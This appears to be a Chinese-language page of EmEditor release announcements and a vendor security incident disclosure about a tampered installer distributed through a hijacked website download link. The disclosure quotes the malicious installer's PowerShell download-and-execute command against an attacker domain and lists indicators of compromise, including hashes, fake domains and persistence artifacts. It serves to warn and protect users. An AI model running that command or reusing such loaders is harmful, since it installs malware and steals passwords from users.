EmEditor v26.0.1 發佈!
EmEditor v26.0.1 現已推出。此更新修正了與安裝程式相關的問題。自 v26.0.0 以來,程式本身沒有任何變更。
EmEditor v26.0.1 現已推出。此更新修正了與安裝程式相關的問題。自 v26.0.0 以來,程式本身沒有任何變更。
我們今天發布了 EmEditor v26.0.0。
為了改善網頁載入時間,開發者經常會將 JavaScript、CSS 與 HTML「縮小化(minify)」,也就是移除換行與空白。同樣地,像 XML 與 JSON 這類資料格式也可能會被壓縮成單一行,以便作為連續資料流更容易處理,即使可讀性因此變差。有些科學資料更極端——例如基因體序列(A、T、G、C)可能會以一段不中斷、長達數十億字元的字串形式儲存。這類檔案正變得越來越常見,而我們也經常聽到使用者回報它們會拖慢 EmEditor。由於這些檔案包含異常長的單一行,會對效能造成顯著影響。在 v26.0 中,我們使用多執行緒與 SIMD 檢視並最佳化了內部程式碼;測試結果顯示,相較於上一版,開啟/搜尋/取代的效能提升達 2.2× 到 666×。
EmEditor 從早期就支援 Unicode,但輸入不容易打出的字元——例如罕用漢字、外語字元或表情符號——過去一直不太方便。你必須開啟 插入 > 特殊字元(Ctrl+Shift+I),輸入代碼值,插入字元,並且每次都要重複這個流程。在 v26.0 中,我們將此對話方塊重新設計為可自訂的資訊列(custom bar),可在你工作時保持開啟。它也新增以 Unicode 名稱與 Unicode 區塊搜尋的支援,並以大且易讀的字型顯示結果,且能以彩色呈現支援色彩的字元(例如表情符號)。例如,搜尋「smiling」會回傳許多笑臉表情符號。
字元代碼值對話方塊(Ctrl+I)也已更新,會以大的彩色字型顯示字元,讓複雜字元與表情符號更容易辨識。
依據客戶回饋,我們擴充了我的最愛(Favorites)功能。除了檔案之外,你現在也可以將資料夾註冊為我的最愛。選取資料夾後會開啟開啟檔案對話方塊,讓你選擇想要開啟的檔案。我們也改善了拖放行為:當你從檔案總管(Explorer)一次拖入多個檔案時,如果清單中已存在相同檔名(且未指定行/列)的項目,EmEditor 不會再新增重複項目。
粗體、斜體 與 程式碼 的 Markdown 命令現在即使在未選取文字時也能運作。例如,若在未選取任何內容的情況下執行 Markdown 粗體命令,接著開始輸入,輸入的文字將以粗體插入。
長期以來以非強制回應視窗(modeless window)提供的復原/重做歷程對話方塊,已改為自訂資訊列。這讓你更容易將歷程固定顯示在方便的位置,同時繼續編輯。
Makoto Emura 強化了他的 與 AI 聊天 與 Commit List 外掛。在與 AI 聊天中,我們在輸入框左側新增了「+ 檔案」按鈕,若你使用的是 OpenAI 模型,就可以把選取的檔案上傳到提示(prompt)中。這不僅比用輸入或貼上更容易傳送大量內容,也能附加如 HTML、PDF、Word 等支援的檔案。此功能使用 OpenAI 的檔案搜尋功能。上傳檔案通常比把整個檔案文字貼到聊天中使用更少的令牌。我們也新增了在聊天歷史(過去對話)中搜尋的能力。請注意,AI 功能——包含與 AI 聊天——除了 EmEditor 之外,還需要另外安裝獨立的 ChatAI 外掛。
在提交清單(Commit List) 中,我們改善了多項操作的效能,包括顯示變更清單與提交歷史。
我們也修正了在預覽版本期間發現的問題。
我們希望專業版(Pro)與免費版(Free)都能符合你的期待。若你有疑問、功能需求或想法,請聯絡我們。
感謝你持續支持 EmEditor。
— Yutaka Emura
如需詳細資訊(包含主要變更與螢幕截圖),請參閱 Version 26.0 新增功能。
若你使用桌面安裝程式(Desktop Installer)版本,請從「說明 > 檢查更新」進行更新。若無法更新,請下載最新版本並執行安裝程式。我們預期 Microsoft Store 版本會在接下來幾天內推出。若你直接下載 MSI,請確認其數位簽章是由 Emurasoft, Inc. 簽署。
EmEditor 現在取得更安全也更方便
EmEditor 桌面安裝程式現在也可於 Microsoft Store 下載。
Microsoft Store 上提供的桌面安裝程式,對 EmEditor Professional 與 EmEditor Free 來說是相同的程式(您會取得相同的應用程式,並依您的授權/使用方式來使用)。
我們也改善了官方網站(www.emeditor.com),讓您能更安心地下載 EmEditor。
我們將持續透過本網站及其他授權的發佈管道,提供僅限官方安裝程式。
為了您的安全,請從我們的官方網站或 Microsoft Store 等可信來源下載 EmEditor。
EmEditor v25.4.5 現已可用。本次更新主要聚焦於穩定性,並包含以下修復。我們建議更新到最新版本以獲得最佳體驗。
如果你使用的是桌面安裝程式版本,請前往 說明 → 檢查更新 下載最新版本。如果無法更新——或你目前的未安裝 EmEditor——請下載安裝程式並運行。
EmEditor(桌面安裝程式)現也可從 Microsoft 市集獲取:
對於較早版本的 Windows,你可以直接在 此處 下載安裝程式。
如果你直接下載 MSI 檔案,請驗證數位簽章是否由 「Emurasoft, Inc.」 簽署:
EmEditor 的更新檢查器會自動驗證 MSI 的簽名者;如果簽名者不是 Emurasoft, Inc.,將取消更新。
或者,你也可以驗證 SHA-256 哈希值:
0035f22bc12f565e9fe904eabccd24a608903b4d76e8bda2ec758bfcd18b12e93e2e56fd146aff6324896893265a943058cf50905acb5130d14be12464bca5eaf9601e5ec55033aa7bcd0cdcd24e92f6db24321948c15e798605e4781d170c277e662f206947ea29289d3d755753190073d76b3f051dd6e1210224849441d3e52ed200c42b210d4dbabb9050094f059d4de9b9c5cebb8260b5b9f35591c749904bc21dbe4a5906c6f3a513fa0b049cf9ad953889c58b61f6018a8133a1fc32074c0854c141be7f9ddd70528303cee4d470a97eb10e40e6e3e59afe7d2d3fa12a877cd8192c2b6c4c676d7a31a3953daeb4e41adc0497c4fc565d26e333e28e22如果你使用桌面可攜式版,請訪問下載頁面獲取最新版本。市集應用版本將在幾天後可通過 Microsoft 市集更新。
EmEditor v25.4.4 現已推出。本次版本側重於穩定性,並包含以下修復。我們建議更新到最新版本以獲得最佳體驗。
如果您使用的是桌面安裝程式版本,請前往 說明 → 檢查更新 下載最新版本。如果該方法無效,請下載安裝程式(emed64_25.4.4.msi) 並運行。
如果您直接下載 MSI 檔案,請驗證其數位簽章是否由 「Emurasoft, Inc.」 簽署:
EmEditor 的更新檢查器會自動驗證 MSI 的簽名者;如果簽名者不是 Emurasoft, Inc.,將取消更新。
另外,您也可以使用以下 SHA-256 哈希值進行校驗:
09e884896467b8fa574b2adf22d792e039774b8fb1300ec26a59c951937eaa3cf4db8fe290d3d5d44bd08461da24f168a73b085c6d589687f41b0a9a820556e8如果您使用桌面可攜式版,請訪問下載頁面獲取最新版本。市集應用版本可在數日後通過 Microsoft 市集更新。
延續我們先前發布的「【重要】關於 EmEditor 安裝程式下載連結的安全事件通知」(www.emeditor.com),我們在進一步調查後,整理並分享目前掌握的資訊,以及補充先前公告的更多細節。
我們再次對本事件所造成的重大疑慮與不便,致上最誠摯的歉意。
在先前公告中,我們以美國太平洋時間提供時間範圍。為便於參考,以下同時列出協調世界時間(UTC)。
若您在上述期間透過 EmEditor 網站的下載路徑(例如首頁的「Download Now」按鈕)下載安裝程式,則有可能下載到的檔案不是我們(Emurasoft, Inc.)提供的正版安裝程式。
請注意:出於審慎考量,上述時間區間刻意取較寬範圍。實際受影響的窗口可能更短,且可能僅限於特定時間點。
針對檔案 emed64_25.4.3.msi,我們已確認至少存在 兩個可疑檔案。
我們也確認兩個可疑檔案皆帶有 Microsoft 核發的數位簽章。由於其有效期間極短(僅數天),我們推測其憑證可能以類似面向開發者的方式核發。
我們已向 Microsoft 回報此事件、提供可疑檔案,並要求撤銷相關簽章。目前已確認 兩個簽章皆已被撤銷。因此,嘗試執行該 MSI 時應會顯示簽章無效的警告,使安裝變得困難。
e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3ehttps://www.virustotal.com/gui/file/e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3ehttps://download.emeditor.info/emed64_25.4.3.msiemed64_25.4.3.msi4bea333d3d2f2a32018cd6afe742c3b25bfcc6bfe8963179dad3940305b13c98https://www.virustotal.com/gui/file/4bea333d3d2f2a32018cd6afe742c3b25bfcc6bfe8963179dad3940305b13c98emed64_25.4.3.msi3d1763b037e66bbde222125a21b23fc24abd76ebab40589748ac69e2f37c27fchttps://www.virustotal.com/gui/file/3d1763b037e66bbde222125a21b23fc24abd76ebab40589748ac69e2f37c27fc若您仍保留下載的檔案(emed64_25.4.3.msi),可以(如先前公告)透過檢查 數位簽章與/或 SHA-256 來驗證。
即使您已刪除該檔案,Windows 仍可能在安裝時將 MSI 複本保留於 C:\Windows\Installer,並以不同名稱儲存。
由於此資料夾同時為隱藏且受作業系統保護,一般在檔案總管中不易透過瀏覽找到。請直接在路徑列輸入並開啟:C:\Windows\Installer。
開啟後,建議依照以下步驟進行。請務必小心,不要雙擊或執行任何 MSI 檔案。
即使可疑檔案曾被執行,在下列環境中也不一定會感染,例如:
然而,若以下任一項成立,感染的可能性將非常高:
C:\ProgramData\tmp_mojo.logGoogle Drive Caching 的排程工作%LOCALAPPDATA%\Google Drive Caching\ 中存在 background.vbsGoogle Drive Caching 的擴充功能(即使顯示為 Google 製作也一樣)——尤其是其可「讀取並變更所有網站上的資料」且具備剪貼簿存取權限者cachingdrive.comemeditorde.comemeditorgb.comemeditorjp.comemeditorsb.com若以上皆不符合,風險較低——但並非為零——因為攻擊部分流程可能在記憶體中執行,且幾乎不留下檔案型證據。
如先前公告所述,我們已確認可疑安裝程式在執行後會 從外部網域下載其他檔案並加以執行。
我們先前確認其曾連線至 emeditorjp.com,而後續調查也發現另外連線至 emeditorde.com、emeditorgb.com、emeditorsb.com。
上述四個網域(emeditorjp.com、emeditorde.com、emeditorgb.com、emeditorsb.com)皆非由我們(Emurasoft, Inc.)營運。
我們也確認先前公告中所描述的 PowerShell 指令會從外部網域下載並執行檔案,而此行為可能導致惡意程式感染,以及密碼等個人資訊遭竊。
更多細節請參考由 Luca Palermo 先生與 Mario Ciccarelli 先生撰寫的研究報告。Palermo 先生已將報告提供給我們並允許我們公開,我們在此對其合作表達由衷感謝。
基本現實是,在特定條件下,第三方可以取得網域名稱與數位簽章。
從技術角度而言,MSI 安裝程式可透過自訂動作(custom actions)包含任意腳本(包含 PowerShell)。若攻擊者具備足夠知識,就能將惡意載入器注入到一個外觀與正版、且廣泛散佈的安裝程式極為相似的檔案中。
即使安裝程式不是 MSI 而是 EXE,也仍可能出現類似攻擊。
遺憾的是,這代表軟體公司很難徹底防止第三方製作並散佈高度仿冒正版的惡意安裝程式。我們必須假設未來仍可能再次出現同等精密、採多階段手法的惡意安裝程式。
即便如此,我們認為本次事件的核心問題可歸納如下:
由於兩者同時發生,導致客戶在從我們官方網站下載後受到傷害,我們對此承擔全部責任,並會在未來的預防措施中反省與改善。
除惡意安裝程式 emed64_25.4.3.msi 外,我們還在外掛(plugin)目錄下發現名為 base64.php 的檔案。分析後判定其為典型後門程式(遠端程式碼執行/RCE)。
我們也發現 WordPress 佈景主題目錄中的 footer.php 被加入一段腳本。該腳本會劫持原本應導向至合法 URL 的點擊:
https://support.emeditor.com/ja/downloads/latest/installer/64並重新導向至:
https://www.emeditor.com/wp-content/uploads/filebase/emeditor-core/emed64_25.4.3.msi因此,點擊首頁「Download Now」按鈕可能會下載到惡意檔案。
更惡意的是,該腳本被設定為只對未登入的訪客觸發,使管理員難以重現與察覺。結果即使我們自行檢查網站,也未能立即注意到重新導向已被更改。
我們仍在調查中,尚未得出最終結論。但目前考慮以下可能性:
WordPress 由多個元件組成——核心、外掛、佈景主題等——由許多開發者維護。這些元件會定期被發現漏洞,並隨時間釋出更新。
我們會定期更新外掛與佈景主題,但在某些情況下,漏洞可能長期未被修補。攻擊也可能正是利用了此類漏洞。
另外,也不排除使用中的 SFTP 帳號遭到鎖定為攻擊目標。
我們已立即刪除惡意檔案 emed64_25.4.3.msi。同時檢視檔案修改紀錄,確認 base64.php 被新增且 footer.php 遭變更。在辨識 base64.php 為後門後,我們對整個網站進行掃描。
接著我們重建網站、重新安裝所有外掛並移除不必要的外掛。我們也掃描內部電腦,並更改所有 WordPress 站點與相關服務的登入密碼;同時透過檢視紀錄審核我們使用的多項服務。
此外,我們已停止對「Download Now」等下載按鈕使用重新導向,改為 直接連結至經驗證的安全檔案。我們亦更新下載頁面,清楚標示 MSI 的 SHA-256,並加入說明鼓勵使用者 驗證數位簽章。
為進一步強化 EmEditor 首頁的下載路徑,我們也正在考慮於近期將網站 由 WordPress 遷移至自製/靜態網站。
如上所述,被竄改的安裝程式一旦執行,可能進行極其危險的行為。同時,我們也無法從根本上阻止第三方製作並散佈仿冒正版的惡意安裝程式。
因此,我們的首要任務是確保不會有人透過我們的網站取得惡意程式,因為網站是我們最主要的發佈管道。
本次事件也提醒我們:雖然 Xoops、WordPress 等常見 CMS 平台很便利,但其可擴充性也會增加暴露於漏洞的風險——而僅僅維持外掛與佈景主題更新,並不能完全消除風險。
值得慶幸的是,Emurasoft Customer Center 並未遭入侵,我們的資料庫仍維持安全;目前也沒有任何證據顯示有人存取我們的客戶資料庫。
為期盼本次事件的經驗能協助其他軟體公司,我們在本公告中盡可能納入更多細節與脈絡,而非僅發布簡短報告。
我們再次對本事件造成的疑慮與不便致上誠摯歉意,並特別向因感染而受到損害的使用者致歉。
感謝您持續支持 EmEditor。
感謝您使用 EmEditor。
我們非常遺憾地通知您:我們已確認 EmEditor 官方網站的下載路徑([Download Now] 按鈕)發生了一起事件,疑似遭到第三方未授權篡改。在受影響期間,通過該按鈕下載的安裝程式可能並非我們(Emurasoft, Inc.)提供的正版檔案。
對此可能造成的擔憂與不便,我們深表歉意。請閱讀以下信息。
如果您在上述期間通過 EmEditor 首頁的 [Download Now] 按鈕下載安裝程式,則有可能下載到了一個沒有我們數位簽章的不同檔案。這是保守估計;實際受影響時間可能更短,並且可能僅限於某一特定時間段。
[Download Now] 按鈕正常情況下指向以下 URL:
該 URL 使用了重定向。然而在受影響期間,重定向設定疑似被第三方變更,導致下載被從以下(錯誤)URL 提供:
該檔案並非由 Emurasoft, Inc. 建立,並且已被移除。
因此我們確認,下載到的檔案數位簽章可能不是我們,而是來自另一家名為 WALSHAM INVESTMENTS LIMITED 的組織。
註:此問題可能不限於英文頁面,也可能影響其他語言的類似 URL(包括日文)。
目前唯一確認涉及的檔案為:
e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e如果符合以下任一情況,則您不受影響:
download.emeditor.info 下載emed64_25.4.3.msi 檔案如果您可能在受影響期間通過 [Download Now] 下載了安裝程式,請驗證 emed64_25.4.3.msi 檔案的數位簽章與 SHA-256 哈希。
emed64_25.4.3.msi),選擇 屬性(Properties)。如果未顯示「數位簽章」索引標籤,可能表示該檔案未簽名或簽名無法識別。此時請勿運行該檔案;刪除並按下方指引處理。
打開 PowerShell 並執行:
Get-FileHash .\emed64_25.4.3.msi -Algorithm SHA256
確認匯出的 SHA-256 與下列一致:
e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e如果數位簽章不是 Emurasoft, Inc.(例如為 WALSHAM INVESTMENTS LIMITED)或 SHA-256 不符合,則您可能獲取了被篡改的檔案(可能包含惡意軟體)。
如果您在組織內使用 EmEditor,也建議聯繫內部安全團隊(如 CSIRT),並盡可能保留相關日志。
該可疑安裝程式在執行時可能嘗試運行以下命令。在任何情況下都不要運行該命令。
powershell.exe "irm emeditorjp.com | iex"該命令會從 emeditorjp.com 下載並執行內容。
emeditorjp.com 並非 Emurasoft, Inc. 管理的域名。
另請註意:該安裝程式可能仍會正常安裝 EmEditor 並安裝正版的 EmEditor 程式檔案,這會使問題更難被察覺。
我們將繼續調查事實並確定影響範圍。一旦有更多信息,我們會在本頁面和/或通過官方渠道盡快更新。
我們高度重視此次事件,並將采取必要措施查明原因、避免再次發生。
對於此次事件可能造成的不便與擔憂,我們再次致以誠摯歉意,並感謝您對 EmEditor 的理解與持續支持。
今天,我們發布了 EmEditor v25.4.3。本次更新主要針對穩定性,並包含以下修復——為了獲得最佳體驗,請保持軟體為最新版本:
如果您使用桌面安裝版本,可以在說明中選擇檢查更新以下載最新版本。如果此方法失敗,請下載最新版本,並運行下載的安裝程式。 如果您使用桌面可攜式版本,可以訪問下載頁面以下載最新版本。市集應用版本可以在幾天後通過 Microsoft 市集更新。
今天,我們發布了 EmEditor v25.4.2。此次更新帶來多項重要修復和優化,以確保您的使用體驗流暢穩定,因此我們建議盡快更新。
如果您使用桌面安裝版本,可以在說明中選擇檢查更新以下載最新版本。如果此方法失敗,請下載最新版本,並運行下載的安裝程式。 如果您使用桌面可攜式版本,可以訪問下載頁面以下載最新版本。市集應用版本可以在幾天後通過 Microsoft 市集更新。
我們發布了 EmEditor v25.4.0。
本次更新的首要重點是速度。我們優化了程式碼的諸多部分,使許多操作現在運行得更快,尤其是在支持 AVX‑512 的 CPU 上。我還使用了「與 AI 聊天(Chat with AI)」功能來協助編寫這些新優化;感覺就像身邊多了一位出色的工程師。
我們也進行了傳統的、非 AI 優化。「尋找」「取代」「多檔尋找」「多檔取代」經過重構,在可能的情況下直接處理 UTF‑8,避免在 UTF‑16 之間往返轉換。此前,對 UTF‑8 檔案執行「多檔取代」會先轉換為 UTF‑16 再轉換回來;現在可直接在 UTF‑8 上進行取代,消除轉換開銷。我們還為「多檔尋找」新增了一個選項:「顯示檔案名、行號和符合行(截斷過長的行)」,預設啟用。即使目標包含超長行(例如二進位檔案),EmEditor 現在會截斷匯出,而不是列印整行,以確保匯出穩定、響應流暢。在我們的測試中,「尋找」「取代」「多檔尋找」「多檔取代」的速度提升約為 2 倍至 6.5 倍。
穩定性也有所提升。「多檔尋找」以多執行緒方式運行,但一次搜索大量超大檔案可能會占用大量記憶體。我們現在限制用於打開特大檔案的執行緒數量,以降低記憶體占用。如果記憶體分配失敗,EmEditor 會自動回退到占用更少記憶體的單執行緒模式並重試操作,從而降低崩潰的可能性。
自 v25.3 停止提供 HTMLBar 外掛程式之後,一些使用者懷念快捷標籤插入按鈕。在本次發行版中,您可以直接在 EmEditor 中定義程式碼片段(snippets),並通過功能表、工具列或鍵盤快速鍵調用它們。執行仍由 Snippets 外掛程式處理。要顯示 Snippets 工具列,請轉到 View > Toolbars > Snippets。將任意文字拖放到 Snippets 工具列上即可建立片段,或通過 Customize > Snippets 定義片段。語法詳情請參見說明中的「如何使用 Snippets 外掛程式」,或向 AI 詢問「EmEditor 片段語法」。
「與 AI 聊天」(Chat with AI,by Makoto Emura)也獲得了升級:
註意:要使用包括「與 AI 聊天」在內的 AI 功能,需要單獨安裝 ChatAI 外掛程式。
我們還修復了預覽版中發現的問題。
我們希望專業版和免費版都能滿足您的期望。如果您有任何問題、功能請求或建議,請聯繫我們或在論壇發帖。
感謝您一直以來對 EmEditor 的支持。
— Yutaka Emura
有關新版本的詳細信息,包括主要變更和截圖,請參見「Version 25.4 新增功能」。
如果您使用桌面安裝版,可在 說明功能表下選擇檢查更新下載最新版。如該方法無效,請到此下載最新版本,並運行安裝程式。如果您使用桌面可攜式版,可前往下載頁面獲取最新版。市集應用版可在幾天後通過(Microsoft 市集)更新。